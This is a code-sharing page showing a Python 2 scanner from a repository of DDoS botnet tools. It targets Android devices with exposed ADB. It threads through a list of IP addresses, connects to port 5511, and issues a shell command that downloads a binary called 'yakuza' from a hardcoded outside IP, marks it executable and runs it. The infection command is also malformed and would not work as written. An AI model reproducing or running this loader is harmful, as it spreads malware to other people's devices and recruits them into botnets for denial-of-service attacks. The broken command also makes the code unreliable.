Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/ADB-ANDROID/andadb.py
5038 views
1
import sys
2
import threading
3
import requests
4
import os
5
import socket
6
import time
7
from Queue import *
8
from threading import Thread
9
#nexus zeta
10
if len(sys.argv) < 3:
11
sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list] [output file]")
12
13
ips = open(sys.argv[1], "r").readlines()
14
queue = Queue()
15
queue_count = 0
16
17
info = open(str(sys.argv[1]),'a+')
18
output_file = sys.argv[2]
19
20
def rtek(ip):
21
ip = str(ip).rstrip("\n")
22
try:
23
adb = socket.socket()
24
adb.settimeout(5)
25
adb.connect((ip,5511))
26
os.system(":5511 shell \"cd /data/local/tmp/; wget http://199.38.243.9/yakuza; chmod 777 *; .yakuza; android\"")
27
adb.close()
28
except Exception:
29
print "OFFLINE:\033[31m %s\033[37m"%(ip)
30
adb.close()
31
pass
32
33
34
def main():
35
global queue_count
36
for line in ips:
37
line = line.strip("\r")
38
line = line.strip("\n")
39
queue_count += 1
40
sys.stdout.write("\r[%d] Added to queue" % (queue_count))
41
sys.stdout.flush()
42
queue.put(line)
43
sys.stdout.write("\n")
44
i = 0
45
while i != queue_count:
46
i += 1
47
try:
48
input = queue.get()
49
thread = Thread(target=rtek, args=(input,))
50
thread.start()
51
time.sleep(0.1)
52
except KeyboardInterrupt:
53
os.kill(os.getpid(), 9)
54
thread.join()
55
return
56
57
58
if __name__ == "__main__":
59
main()
60